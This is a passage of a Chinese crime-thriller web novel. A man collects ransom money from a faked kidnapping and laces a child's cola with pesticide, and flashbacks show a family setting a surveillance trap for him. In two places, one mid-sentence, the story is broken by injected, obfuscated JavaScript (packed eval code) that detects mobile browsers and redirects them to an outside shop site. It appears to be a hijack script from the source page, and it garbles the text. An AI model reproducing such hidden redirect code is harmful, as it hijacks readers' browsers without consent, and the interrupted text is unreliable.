“后备箱给你开了。”司机叫道。 何序把箱子拉到车尾,提着搬进后备箱。他没有立即关上后备箱,而是走到车窗前,将手机放下,在短信界面打了短短一句话:“我是聋哑人,请打字告诉我,这辆车的目的地是哪里。” 他把手机递给司机。后者愣了一下,然后掏出自己的诺基亚,拇指按着按键“滴滴”地敲,过了一会,把屏幕对着他——“滨河公园后门。” 何序看了一眼,对司机点了点头,然后才回到后备箱,重重关上厢门。 “我放好了。我想跟孩子——”他背对着捷达,对手机说道。 “闭嘴。” 他真的闭了嘴,喉咙里只有热气起伏。他转身看了一眼红色捷达,车像一条亮着红尾的鱼滑入车流。 “现在马上离开,回家等待。” 电话被挂断了,冰冷的忙音与当下气温格格不入,何序不动声色地站了一会,往相反方向走去。 蔡岛嘉目送何序挤进涌动的人群,身影被来往的行李箱、胳膊、汗光一点点吞掉。何序最后的那点小动作也被他收入眼帘,他越发为自己的聪明才智得意——他早就猜到,何序不会束手就擒。 蔡岛嘉把蒙着话筒的棉布揣进衣服口袋,转身将话筒放回小卖部的电话座上,小卖部老板依然聚精会神地看着小电视,丝毫没有将目光落在他身上。 他又拨了一个电话,不一会,一个大着嗓门的声音响起:“喂?” “啊,我是打你车的那个人,我朋友已经把东西放你车上了吧?” “放了放了,我现在正在过去的路上呢。” “你和我朋友说什么了?他说你态度不好。” “啊?我怎么态度不好了?”司机大叫起来,“他问我车要去哪儿,我都打字回答他了,这还叫态度不好?他是聋哑人也不能这么欺负人啊!” “哎呀,他就是这性格。放心,我会说他的。”蔡岛嘉说,“对了,不用去滨河公园了,去新桥立交下的旧停车场,把行李箱放在公厕门口你就可以走了。我突然肚子疼,正在里面蹲大号呢。我上完厕所就出来拿。” “好,知道了。”司机毫无心机地应了下来。 “钱在这。”挂断电话后,蔡岛嘉将一块钱放在几包薯片上,老板头也不抬地应了一声,“放那儿吧。” 烈日高悬,他的背上早已蒙着一层热汗,将衬衫和皮肤缝在一起。他来不及歇气,钻进停在路边的黄色出租车,一脚油门,驶向城市另一端的新桥立交。 他抢先来到新桥立交下,公厕门前还空空荡荡,蔡岛嘉把头上的帽檐往下压了一点,快步过去,眼角余光扫了一圈——立交柱子有一层旧海报撕过后的糨糊痕,海报边缘卷起来,像被雨泡过;垃圾桶旁滚着一个空饮料瓶,滚到柱脚停住,磕了一下。自从这个停车场荒废后,这里就变成了流浪汉夜晚聚集的地方,白天却像无人问津的鬼城。 他走进散发恶臭的公厕,皱着眉头,用袖口掩住口鼻,等待顺风车司机的到来。 过了大约十几分钟,他听到了行李箱滚轮靠近的声音。 “老板,你在吗?”司机大大咧咧地在外面喊道。 “在呢在呢!放门口就行,我马上好了!”蔡岛嘉连忙说。 “行,那我放这儿了啊。”滚轮声停了下来,脚步声接着远去。 蔡岛嘉在公厕里继续等了一会,小心翼翼地探出头。门外已空无一人,这里的臭味让鸟都不愿靠近,更别说人。那个蓝色的HelloKitty行李箱就静静地立在门外,里面是他魂牵梦绕的一百六十万。 蔡岛嘉不顾公厕内的脏污,将行李箱拖入内部。 公厕里的气味重得像一块布被人在水里捂久了,墙上有一条喷泉似的裂纹,裂纹里长出一片黑斑。他把箱子拉到最里面一格,关门,拉上门闩,低头,把拉链向两侧一拉,一捆捆红色的钞票砸入眼帘,他的鼻腔只剩下纸钞的油墨气味,再也闻不到其他干扰。 蔡岛嘉把钱接连搬进带来的手提旅行袋中,他没去数,只凭重量与捆数在心里做快速的加总:十万、二十万、三十万…… 旧行李箱空了。他站起身,单手把它按回原状,盖好,拉链合回,像把一张皮覆回骨头。他刚打算走出隔间,犹豫了一下,想起电视剧里警察提取指纹的画面。他把袖子拉到没过掌心的位置,将箱子可能沾到他指纹的地方都擦了一遍。 做完这一切,他才提着旅行袋走出公厕,回到八月的阳光里。 回到母亲家,蔡娟和朵朵像是刚吃完午餐,空气里还飘散着饭菜的香味,朵朵已经坐到了沙发上看电视,蔡娟则直愣愣地坐在餐椅上,像是在想什么,又像是什么没想。 看见蔡岛嘉开门进入,她条件反射地站了起来,目光下意识地从他的旅行袋上瞥过,又迅速逃开。 “怎么不敲门?吃过午饭了吗?菜还热着,要不要我端出来?” “我带了钥匙。”蔡岛嘉说,“不用忙乎了,我不饿。” “小蔡哥哥!给我带麦当劳了吗?”朵朵叫道。 “没呢,我放个东西就出去给你买。”蔡岛嘉说。 他换上拖鞋,拿着旅行袋走进自己房间,思考片刻后,放到了衣柜的最顶上。他转过身时,蔡娟已经站到了房间门口,双手攥在一起,指骨发白,她紧张地望着,但什么都没说。 “别动我的东西。”蔡岛嘉叮嘱道。 “孩子怎么办?”蔡娟的声音低若蚊蝇,她不安的眼神朝客厅扫去——朵朵正盘腿坐在沙发上,拿着遥控器,无所事事地换着频道。 “你不用管。”他说,“我先出去一趟,给她买点吃的。” 他站在门口,视线在朵朵和电视之间挪动了一下。朵朵抬起脸,一脸期待:“麦当劳!” “嗯。”他应了一声,转身出门。 麦当劳距离他家有十五分钟车程,这十五分钟里,他一直在思考一个“要”与“不要”的问题。 麦当劳的玻璃门里,香气扑鼻,冷气像不要钱那样开着。现在刚过了最热闹的饭点,柜台前只有一个人在排队,很快就轮到了他。蔡岛嘉随便要了几样常见的东西,点明外带之后,心不在焉地等着店员备齐他的餐点。 要不要杀了朵朵灭口? 朵朵不是什么无人在乎的流浪汉,杀了也就杀了。如果真杀了朵朵,保不齐何家人会和他鱼死网破。到时候警察一介入,各种蛛丝马迹就遮不住了。但是不杀,她回家之后,立马就会知道他利用她来骗取了一百六十万赎金。 她会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想起了二十多天前,他在江边下定决心要找到田永没被发现的赃款的时候,他还记得那晚的江水波光粼粼,仿佛一块块金砖在月光下闪耀。他费了多大的工夫,才找到墙后的赃款,凭什么要分给那些贪得无厌的财狼? 他没有把车往家开,绕了一条路,去了城北的农资店。 店里摆着蓝白色的塑料桶、喷雾器、各种写着杀字的标签,味道混合成一种刺鼻的“效用”。店员戴着一顶褪色的牛仔、帽,正把新到的货码到架子上。蔡岛嘉问:“你们这儿有□□吗?鱼塘里的鱼生病了,我爸让我买这个。” “有。”店员头没抬,伸手朝下层一摸,拿出一瓶,语气自然得就像卖一袋种子,“会用吗?” “会用。” 蔡岛嘉接过,指尖摸到瓶身上的凹凸字体。他把那套早准备好的说辞用最平常的口气说出来:“最近天气热,鱼塘里的鱼老生病。” “是啊,天热了就是这样。”店员附和。 蔡岛嘉付钱,提着装有农药的塑料袋回到车上。太阳把挡风玻璃照得发亮,玻璃上他的脸忽明忽暗。他深吸了口气,将农药倒了一瓶盖出来,和装在杯子里的可乐混在一起——动作干净,没有任何逗留。 他把杯盖扣好,吸管重新穿过盖上的十字孔,黑色液体在透明的吸管里上上下下,像在呼吸。 他把纸袋重新合好,点火回家。 同一时间,八里村自建楼的三楼卧室里,风从窗户缝里挤进来,带进来一点街上的躁声。夏禧屋子里的开水用完了,她想给笨笨喂水,水壶里却倒不出水来。 “乖乖等着,妈妈去楼下打水。”她柔声对脚边的笨笨说。 夏禧把墨镜戴回脸上,又故意把荧光粉的衬衫扯松了一点,搭配着下身的流苏喇叭裤,她就像即将走上舞台表演的演员,或者某个小丑。窗玻璃上映出她滑稽的身影。她走到门边拿起盲杖,笨拙而缓慢地往楼下挪去。 一楼,所有人都聚在客厅里,但他们沉默着,一言不发。夏禧也就装作不知道他们在的样子,敲击着盲杖往厨房方向走去。 何序起身,站到了她面前。 夏禧看到了,但装作没有看到。她微微侧头,好似在疑惑这里为什么凭空生出了障碍物。盲杖向左探了一下,试图绕过,但何序也跟着往左走了一步。她又往右,盲杖敲到墙脚的踢脚线,“嗒”的一声,还是被堵了回去。 接二连三地,客厅里的其余人也站到了何序身旁。像一堵坚硬的墙,挡住了夏禧的所有去路。 “够了。”何序开口说道。他的声音里没有起伏,像是在冰窖里冻过,只有一种坚硬而锋利的平铺直述。 “咦?原来是你呀,小何。”夏禧惊讶道,“你在这里做什么呢?” “这里没有你的观众,你可以摘下墨镜了。”他说。 何阿婆抱着手臂,一脸轻蔑;何阿公神情平和,目光专注;徐朝颜站在所有人的最后,眼神里露着一丝忧虑不安。所有人都在看着她,以一种看正常人的眼神看着她。 夏禧静了一会儿,把墨镜一点点往上推,停在额头。光从窗外切了进来,落在她的眉骨上。 “你们什么时候发现的?”她问,声音比风还轻。 何序平静地看着她。 “从一开始。” 30.第 30 章 2007年的跨年夜,是过咸的羊肉汤味道。 这是一年的最后一天,八里村里家家户户都在这一晚亮着餐灯。 长木桌上的红色电火锅咕噜咕噜地冒着泡,煮得白白的肥羊片在红油里翻腾,但没人动筷。紧闭的窗户隔绝了寒风,却拦不住槐树的影子,细瘦的枝杈在玻璃上抓挠,犹如一群焦躁的手。客厅里的电视机从买回来就没有真正亮过,像一块没有情绪的镜面,把一张张沉默的脸孔照得更加苍白。 “全屋监控都装好了。”何序打破了缄默,平静无波地说道。 何秀英穿着雾蓝色的袄子,一头银白的齐耳短发被一条灰色布发箍压得服服帖帖,她的双手平静地放在腿上,目光落在对面的徐朝颜身上。 “你那边的情况呢?”她的普通话很标准,丝毫听不出地方口音。声音也是轻柔的,但柔和之中,有种磐石般的硬度。 何序用手肘碰了碰旁边的徐朝颜,后者缩着肩膀,目光紧盯着锅中一片最肥瘦相宜的羊肉卷,徐朝颜这才意识到何秀英在对她说话,连忙抬起头来: “已经打听到他的出租车公司和日常行车路线了。” “台词都记住了?” “记住了,放心吧。”徐朝颜拍着胸脯保证,“我上车就开始打电话,先扯天气,再扯最近的新闻,最后再拐到贪官会在墙里藏钱的事情上去。不过,他会上钩吗?” “真正难的,是他上钩之后的安排。”何志国开口,“大家还记得各自的任务吗?” “记得,我俩负责监视。”徐朝颜看了眼何序,“一个白天一个夜晚。” “具体行动——如果有的话,只由我和秀英完成。”何志国正了正色,再次强调,“这是我的底线,万一有什么情况发生,你们几个年轻人才不会受到牵连。” 徐朝颜神色忐忑:“万一的情况是指……” 何志国并未回答。 朵朵专心致志地听着,忽然仰起脸,问道:“那我的任务是什么呢?” “你的任务就是好好学习,天天向上。”何秀英扯了扯嘴角,像是挤出一个微笑。 “是啊,朵朵。这是大人的事情,你只需要专心写作业、读书、和朋友约着出去玩就够了。”何志国也笑着说道。 “可是我也想帮忙。”朵朵撅起小嘴。 “你在这里,就是很大的忙了。”何志国说。 “听话。不然我就把你送回学校。”何序故意沉下脸。 朵朵哼了一声,低下头摩挲起筷子。 “我最后再强调一次,”何序的目光掠过在座众人,缓缓道,“所有人坐在这里的目的只有一个,那就是让有罪之人自取灭亡——既然旧的罪没法制裁他,那就让他犯下新的罪。整个行动过程中,我们不犯法,最好也不要违法。这是我们早就商量好的行动底线。所有行动,都应在不违背底线的前提下进行。” 何志国和徐朝颜都点了点头,何秀英垂目望着自己的碗。 那碗白白净净,空空荡荡,也曾满过,但最后还是什么都不剩了。 朵朵还在生闷气,玩着面前的筷子。 遥远的烟花绽开声,像闷在棉被里的骨节脆响。一声接一声,拖着尾巴滚过夜空,又被冷风压低,抖进窗缝,把整张木桌轻轻敲了一下。 何志国拿起手机,看了眼时间。 “十二点整了,现在已经是2008年了。不开心的事情就说到这里吧,新的一年到来了,我们应该高兴一些。今年一定会有新的变化,新的发展,新的结局。”何志国率先拿起筷子,“羊肉再煮就煮老了,这可是我一大早去菜市场现割的,这种肉最鲜了。大家都动筷吧。” 有了何志国的带头,其余人才接连拿起筷子。 徐朝颜左右觑着脸色,故作轻快地提议道:“既然是跨年夜,我们不如碰一杯吧?家里有饮料没有?” “我买了瓶可乐。”何序说,他就是为此准备的。 徐朝颜站起来,从桌边提来那瓶两升装的可乐,拧开盖子,“嘶”地一声气往外冒。她一杯一杯倒下去,黑亮的汽水在玻璃杯里打着小泡,晃成一圈圈暗色的漩涡。 “好,好。大家举杯吧,这是一个喜庆的日子。”何志国笑着举起杯子。 “就敬——” 徐朝颜坐回位置,刚想说“敬新的一年”,何序就抢在她前面说道: “敬正义。”他举着玻璃杯,一字一顿道。 空气沉默了片刻,何秀英嗤笑了一声。那笑不是对任何人的嘲笑,而是对一种无生命的“命运”的嘲弄。 “……正义存在吗?”她的音量几乎是在自言自语,但却问入了每个人的内心深处。 正因为正义不存在,所以他们才会坐在这张桌前化身正义。每个人都明白这个道理。 没有人说话,只有何秀英低下头,用手背擦拭眼眶的声音,几滴斗大的泪珠砸到了她空荡荡的碗里。 “那就敬过去的我们吧。”何志国打破死寂,微笑着说,“过去的那个我们,受了太多不该承受的苦难,但生活就是如此,从来不讲公平。今夜之后,我们每一个人都有新的面具要戴。我们将和过去的自己彻底分离、诀别,所以,这一杯,我建议敬给那个让我们还有力气坐在这里,向苦难开炮的人。” 何志国的话语落下后,过了几秒,何序举起了玻璃杯,接着是徐朝颜、朵朵,最后,何秀英的杯子也举了起来。 五个玻璃杯,隔着热气腾腾的羊肉火锅碰在一起,杯中可乐涌起细碎的浪,沿着透明的壁来回扑打。 “敬过去的我们。”五个不同的声音说。 何志国给每个人都添了碗汤。何秀兰用装有她泪水的碗喝了一口,说:“……好咸。” 她的表情被遮挡在餐灯投下的阴影之中,看不真切。 饭后,何序把朵朵送回二楼她的卧室,然后回到房间,打开电脑检查监控设备是否在正常运行。六个分屏上不约而同地显示出自建楼内所有区域的实时监控,徐朝颜在厨房帮何秀英洗碗,何志国在天台收衣服,朵朵在儿童房里逗弄花枝鼠小咪,而他在监控里看着监控。 所有人都自愿牺牲了大部分的隐私,来换取计划的顺利进行。 这值得吗? 他从不思考这个问题。这就像“有必要活着吗”这个问题一样,每一个人的回答都可能会不一样。 他的手机在电脑桌上忽然震动起来,一个没有备注的来电拨了进来。他看了一眼,身体有瞬间的僵硬,接着他毫不犹豫地挂断了电话,打开了手机上一个自制的软件,代码接管了手机上的短信功能,他看着以他口吻的文字自动打出,转瞬发送出去: “我在开线上会议,不方便接电话。有什么事?” 没一会,回信返了过来: “没什么事,问问你过得怎么样。你有这么忙吗?新年都不回来?” 软件捕捉到关键词,从他预先输入库中的回复里选取了适合此场景的回复过去。他没有再看,转而打开电脑上的浏览器,进入一个叫“兔子洞”的论坛。打开那一页时,首先扑面而来的是一种克制的安静。背景是淡淡的米白,像医院走廊的墙。最上方那行字被加粗,用冷静的语气写着:“为未成年人遭受伤害后的维权与援助”。 顶栏的置顶帖是红色的,写着《未成年人证据保全步骤(请先看)》和《报警流程 / 如何避免二次伤害》。页面的最底部,还有一个灰到几乎看不清的警告:“请勿指责、轻视或追问细节,违反者将被永久封禁。” 下面一排帖子,标题有长有短,有的甚至并不通顺,能通过破碎的文字看到背后那个慌张的心: “需要证据该怎么留,我洗了澡,还有用吗?”、“报警的话警察会问什么?”、“他们会失去监护权吗?” 发帖人全是“匿名”,回帖人的身份标签往往是“已认证律师”或“已认证志愿者”。这里没有头像墙、没有积分排行,也没有“热帖推荐”。每一行主题都被系统自动打上“匿名求助”或“进展更新”的标签。 在论坛右上角,有着账户信息,何序的id“回旋镖”在论坛的身份是“创始人”。 他浏览着今日的最新发帖,被一个帖子吸引点了进去。帖主因为遭受同性亲戚□□,却又因为年纪尚小,又是男孩的缘故,父母不相信他说的话,反而指责他用这么恶毒的谎言中伤亲戚。 “连父母都不相信我,还有谁会相信我,就算报警也没有用吧?今年过年,他还会来,我现在睡觉闭上眼就是他的脸。我好怕,恨不得死了算了。”他在帖子最后,绝望地说道。 何序看着黑色的文字,胸口深处那个早已结痂的伤口却流出了红色的鲜血。 他点击了对方的ID,给这个只有十三岁的男孩发了私信: “你好,我看到了你的帖子。先告诉你两件事。第一,当你鼓起勇气寻求父母帮助而失败时,这绝不是你的错。第二,你愿意把这段话话打出来,就是仍在尝试自救。你是一个勇敢的人,比你想象中更加勇敢。你现在做的,就是在救你自己一条命。 我知道你不信大人,尤其是不信家里的人。我能理解。因为有些事情一旦发生,父母会本能地装作没看见,他们不是没看见,是不敢看,不想将“简单”的事情变得“复杂”。你不是唯一一个遇到这种事情的小孩,也不是第一个被指责“撒谎”的孩子。如果有人应为此感到羞愧,那绝不是你。 下面几点是你应该做的,越快越好: 1. 不要再单独和那个人接触。他来了,你离开,有任何借口都行,去同学家,去有监控的公共场所。听话,这条最重要。 2. 在他给你发短信或打电话的时候,能截图就截图,能录音就录音,千万不能再删掉了。这些东西将来是“证据”,不是“脏东西”。 3. 找一个你身边能相信的成年人。不是爸妈,那就别的亲戚、邻居老师、班主任、同学的父母,只要他/她不是那个人的朋友。如果有人愿意陪你一起去派出所,你不用自己一个人去。你未成年,警察必须受理。记住这句话:你未成年,警察必须受理。 4. 你现在在哪个城市?(不用告诉我具体地址。)我可以想办法给你找当地能处理未成年案件的律师。律师费你不用担心。 我不是警察。我不会把你的信息乱给别人。我也不会催你“现在立刻报警”。我知道这一步对你来说真的很难。 但是你至少得告诉我城市,和一个能联系到你的安全方式(可以是新的□□邮箱,不要用你爸妈会看的)。 最后一件事,你说“恨不得死了算了”。我理解你现在想从这个地方消失,但是我希望你很清楚地听我说这一句:他才是该害怕的人,不是你。他才是该羞愧到死的人,不是你。 你把城市发给我,我们先从这一步开始。其他的,我来想办法。” 发送键一按,他松开手,慢慢靠回转椅。椅背轻轻吱了一声。他盯着屏幕上那行“已发送”的小字,胸口起伏得很慢,像忘了下一步该做什么,一直没动。 旁边的手机屏幕已经完全熄灭了。他拿了起来,点开app,发现聊天已经结束。 对方的最后一条消息是: “那你好好工作,空了回家看看,爸妈都想你呢。” 伤害不会被时间愈合。这是只有受过伤的人才会明白的道理。哪怕过上一年,十年,二十年,某一个阳光灿烂的午后,亦或夜深人静的深夜,多年前那一刻的绝望和痛苦,就会像回旋镖一样击中心脏。 一次又一次,一遍又一遍。 直到生命终止之前,回旋镖永不停歇。 何序熟练地清空了聊天记录,将手机再次放下。 1月1日下午,冷空气肆掠,空气里却洋溢着新年的热气。八里村里不时响起“噼里啪啦”的鞭炮,碎红纸撒得到处都是。巷子窄得两个人并肩都要侧身,孩子们却挤在里面追逐,尖叫声在墙面弹来弹去。 朵朵在槐树的阴影下抚摸一只橘色的流浪猫,手里一包猫耳朵零食,橘猫一片她一片。 何序在调试每个针孔摄像头的角度和位置。 何阿公在三楼的厕所,早年曾亲手砌起一栋房子的他轻车熟路地砸开墙面,将五个装满废报纸、一个装满美金的防水袋塞入墙后。 徐朝颜在二楼主卧,对着一个笔记本涂涂写写,仔细修改她在出租车上的“台词”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740410|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>何阿婆在一楼卧室,对着镜子练习横眉竖眼的表情。 随着时间的流逝,所有摄像头都固定在了最佳的位置,何阿婆留长了头发,烫成老年妇女最喜欢的爆炸小卷,三楼厕所新抹的墙也越来越旧,与另外三面黯淡的墙融为一体。 7月11日,他们的猎物主动步入了围场。 早在他敲响铁门前,何序就在监控中看到了他徘徊在自建楼的砖墙外。 “告诉所有人,他来了。”何序说。 徐朝颜忠实地将消息传递到每一个人的耳朵里。 当蔡岛嘉敲开铁门时,不耐烦的何阿婆、院子里施肥的何阿公,还有穿着睡衣在槐树下假装照看朵朵的徐朝颜。所有人在他们的位置上就位。 一楼的入户大门大开着,咋咋呼呼的电视机正在播放一步章鱼的纪录片。有一种拟态章鱼,可以瞬间改变皮肤颜色和纹理,还能通过扭曲触手和身体形态,模仿至少15种其他海洋生物,如海蛇,狮子鱼,水母等。 绝大多数猎物,只有当死到临头的那一刻,才能识破他们的伪装。 何序没有出现在开幕舞台上,他只是安静地坐在房间里,通过监控画面,看着蔡岛嘉踏入这个为他量身定做的致命陷阱。 一切都向着他们计划发展,除了一个意外因素:夏禧。 这个意料外的租客,坚持要租下三楼的一个房间,他们一开始不明所以,但很快就通过监控发现,她是尾随蔡岛嘉而来。众人围绕在那张长木桌上开了个会,最后决定接纳夏禧。 7月13日,夏禧入住自建楼,隔天,蔡岛嘉接着入住。 计划正式开始的第一夜,二楼主卧里聚满了参与计划的所有人。六个分屏都在正常工作,所有人都目睹了装瞎的夏禧在房间中播放婴儿夜哭,故意折腾蔡岛嘉的画面。 就连何阿婆也忍不住笑了。 那是何阿婆为数不多发自真心的笑声。 接下来的每个白天,何序以程序员昼夜颠倒为由,在卧室里补觉,徐朝颜则起大早换班监控,而每到夜晚,他就会再度坐到监控前,监视着蔡岛嘉的一举一动。 第二夜,他在监控里看到蔡岛嘉从三楼搜寻向一楼。他用电话叫醒了何阿婆:“他在你们一楼。” 何阿婆醒得很快,或者说,她根本就没有睡,失眠的每个夜晚,她都在等待这样的机会。 监控画面上,蔡岛嘉被一路压着退进卫生间,背贴着瓷砖,最后只能躲到浴帘后,僵成一截影子。等何阿婆终于离开,他整个人像吓破了胆的兔子一样弹起来,跌跌撞撞地蹿向楼梯,慌得连拖鞋都险些甩掉。 这样的人,怎么会有杀人的胆子?他看着监控里蔡岛嘉滑稽的身影,想不通他的逻辑。就像想不通为什么有的人自己有疼爱的儿子、女儿,却还能对别人的儿子、女儿下手一样。 接着,蔡岛嘉就像他们预料的一样,发现了墙后的防水袋美钞。然而,紧随其后的夏禧同样也发现了墙后的秘密。 第二天下午,他们聚在一起商议,夏禧的存在会引发哪些变数。但最终,他们还是决定放任夏禧行动,多一个帮手未尝不可,尽管这个帮手,暂时还不知道自己成为计划一环。 7月21日,何序和徐朝颜在晚餐后准备回卧室继续监控,却被搭话的夏禧拦下。他察觉到了夏禧有意拖延时间,强行结束对话回到卧室,果然发现了有人进入的痕迹。 “是蔡岛嘉——他发现了。”徐朝颜往窗外探头,发现了那个脚印和倒下的肥料桶,脸色发白。 “别慌。”何序沉吟片刻,“我们先去楼下告诉其他人。” 等蔡岛嘉再次回来,就有了“内裤失窃案”。为了合理“搜身”,他们甚至主动引入了戚迪。 蔡岛嘉袋子里的红外探测器曝光。他们猜测的果然发生了,蔡岛嘉已经怀疑受到监视。在这种情况下,摄像头不仅没有用,还会拖累后腿。 何序给了众人一个眼神,趁他们绊住蔡岛嘉,他独自来到三楼,拆下了所有摄像头。 当蔡岛嘉终于脱身,回到三楼急忙检测的时候,他又利用时间差,拆下了一二楼和前后院的监控。 这样一来,整个自建楼都回到了监控的真空区,虽然避免了在蔡岛嘉面前暴露,但他们也失去了先反应的优势。 也正是因为失去了监控的优势,朵朵绑架案才会发生。 谁会绑架朵朵呢?答案昭然若揭。 8月5日,何序等人将夏禧围在一楼客厅,那句“从一开始”还落地不久,空气里仍残留着森冷的余韵。夏禧并不慌张,她只是望着他们,歪了歪头:“没有法律禁止装盲吧?我又没有恶意,只是因为戴着墨镜卖唱会得到更多赏钱。” “别说这些废话,”何序沉着声音,依然难以掩饰神情中的一声紧绷,“朵朵在哪里?” “我怎么知道?”夏禧惊讶地说。 “你和蔡岛嘉整日在背后嘀嘀咕咕,你当然知道。”何阿婆双手交叉,冷冷说道。 何阿公也说:“小夏,我们知道你不是真心和蔡岛嘉一起图钱的,你老实告诉我们,朵朵在哪里,安不安全,我们以后也好在警察那里给你解释。” “我的确不知道她在哪里。”夏禧笑了,“不过,我可以告诉你们,她马上就要回来了。” “真的吗?”徐朝颜站直了身体,急忙问道。 夏禧微笑起来,不过这次不是对他们。 她望着传来轻快脚步声的入户大门,脸上的笑意越来越大。所有人都朝大门看去。一把钥匙插入锁孔,转了几圈,咔嚓一声,门开了。背着小书包,脸色红润的朵朵站在门前,吃惊地望着众人,显然没预料到会这么快见到他们。 “朵朵!”何序第一个冲了过去,用力握住朵朵的双肩,查看她是否受伤。 同一时间,蔡岛嘉手中的麦当劳纸袋掉落在自家玄关的红色入户垫上,薯条洒了一地,可乐也溅到了他的裤脚上,但他甚至忘了挪脚,任由黑色的液体漫过他的鞋底。 “我不知道……我不知道,”蔡娟慌张地哭着,“我只是去房间接了个电话,朵朵就不见了——” 蔡岛嘉整个人像被抽了筋,往后一倒,后背结结实实撞在门框上。 31.第 31 章 一切都完了。 他会进监狱,会坐牢到死,搞不好直接判处死刑。 开什么玩笑,操!他的人生才刚有希望开始,怎么就要结束了—— “儿子……”蔡娟站在卧室门前,气息微弱地喊道。 蔡岛嘉对母亲的呼唤充耳不闻,他的脸色白得就像水里泡了几天的尸体,一双下垂的双目充满血丝,眼球鼓胀。他蹲在地上,粗暴地将装有赎金的旅行袋塞进家里最大的黑色行李箱,接着是衣柜里的衣物,他看也不看就抓出一把,胡乱塞进箱中,紧接着扣上锁扣,提着行李箱撞开门口的蔡娟,快步往大门走去。 他必须逃走——现在,立刻——在被警察抓到之前—— 手机在他的裤兜里震动起来,他吓了一跳,几乎从地上蹿起。是警察吗?他战战兢兢地掏出手机,来电显示上标注着“夏禧”两个字。 是来抓他的吗?还是…… 他犹豫片刻,接起电话,嘴唇像被502粘过,紧闭在一起,只剩下粗重的呼吸传到对面。 “小蔡?朵朵已经回来了,你什么时候回来?”夏禧轻松的声音从听筒里传出。 “……你开什么玩笑?”他终于开口,声音干涩。 夏禧站在三楼自己卧室的窗前,一只手拿着耳边的电话,一只手撑在窗台上,她悠闲地看着院子里正在捡槐树落叶的朵朵,说:“你怎么说动她的?她真的什么都没说。” “什么?”行李箱的拉手从蔡岛嘉手中脱落。 “不过,何家人已经知道我眼睛没问题了。他们也不是傻瓜。但我用卖唱的时候假装盲人能获得更多打赏蒙混过去了,他们也没继续追究。朵朵突然回来,帮我转移了注意力。你什么时候回来?” 蔡岛嘉咬紧牙关:“你不会是骗我的吧?” “我骗你做什么?”夏禧笑了一声,“你自己回来看看就知道了。” 电话挂断了,蔡岛嘉怔怔地看着已经结束通话的手机,在大脑中飞快思索这究竟是诱惑他自投罗网的谎言,还是真的如此。 朵朵什么都没说吗?她为什么要帮自己隐瞒真相?如果夏禧骗他……不,夏禧没有骗他的理由,如果他被捕,她作为帮凶一样逃不了。 他犹疑了许久,最终决定回去看看。如果情况不对,再跑路也来得及。 蔡岛嘉把行李箱放进后备箱里,开着黄色出租车回到了八里村。自建楼还是他离开时的模样,门口没有停满警车,周遭也不像是有埋伏的样子。他提心吊胆地在门前按了两声喇叭,铁门很快被拉开了,朵朵看见他,脸上露出灿烂的笑容:“小蔡哥哥回来了!你看,这是我刚捡的叶子,我打算拿来做书签。” 他把车开进小院,停在前院里。眼睛盯着入户大门,没有突然冲出来的警察,没有大声呵斥“举起手来”。什么都没有,一切都安静如常。 “朵朵,你怎么自己回家了呀?我买了麦当劳回去,蔡阿姨说你不见了,我还好一阵担心呢。”他摇下车窗,露出僵硬的笑容。 “我想爸爸了,所以擅自回来了。对不起,小蔡哥哥。我应该和你说一声的,让你担心了。” 朵朵露出愧疚的表情,但很快抬起眼来,定定地看着他: “妈妈说,我被绑架了,是他们给绑匪交了赎金,我才能回家。他们问我见没见过绑匪长什么样,我说我一直被关在黑屋子里,什么都不知道。小蔡哥哥,你为什么要这么做,是为了帮我教训家里人吗?” 空气直到这时才回到蔡岛嘉的胸腔,他又能呼吸了。 “是啊,你说的没错。”他忙说:“只有这样,他们才会长教训——那笔钱,我也不是真的要,以后会找机会还给他们的。” 朵朵似懂非懂地点了点头。 “小蔡哥哥,我想——” 蔡岛嘉的心提到了嗓子眼,他以为又是一次“分我一半”,他甚至准备好了花钱息事宁人,但朵朵只是说: “再给小咪做一个爬楼梯的玩具。你能帮我吗?” “当然可以了。”他几乎是讨好地答道。 只要不是“分我一半”,一切都好说。给耗子做玩具算什么?他能跪下来喊耗子做爹。 他锁了车,回到三楼拿工具。进入一楼客厅,何阿婆夫妇沉着脸坐在电视机前,电视机一反常态地关着,何阿婆也一反常态地对他的存在没有冷嘲热讽。蔡岛嘉赔着笑,主动向两人搭话:“朵朵安全回来了?” 何阿婆没搭理他。 “是啊,谢天谢地。”何阿公勉强露出一个笑容,“绑匪还算守信,拿了钱,就让朵朵回家了。” “现在朵朵也回来了,要不要报警啊?”蔡岛嘉假意说道。 何阿公摇了摇头,苦笑道:“朵朵一直被关在小黑屋里,什么都不知道。就算报警,也没什么用吧?孩子他爸妈担心这件事会给孩子留下阴影,所以我们暂时决定,回来了就好,钱没了还能再赚,就当破财消灾吧——” 蔡岛嘉心里的一块大石头落了地,他一脸深以为然地样子:“是啊,你们想得开就好。我也觉得,孩子安全回来就是最大的幸运,钱财嘛,身外之物,以后再挣就行了。” “又不是你的钱,你当然不心疼了。”何阿婆终于开口,尖锐的语气戳得死人。 她不戳他一下,他还觉得不对劲,现在被何阿婆骂了,蔡岛嘉最后的不放心也放了下来。他几乎是满意地露出一个讪讪的神情,脚步轻快地踏上了咯吱作响的楼梯。 二楼空无一人,主卧紧闭着门,隐约能听到里面传来的说话声。 蔡岛嘉攥着楼梯扶手,上半身倾出楼梯,竖耳窃听了一会门内的谈话,听到了模模糊糊的“心理”、“朵朵”、“多一事不如少一事”等句子。彻底安心了。 现在知道绑架朵朵的犯人是谁的只有他、夏禧、朵朵本人。他还有机可乘。 回到三楼,夏禧正在门口等他。 “我没骗你吧?”她一开口就说。 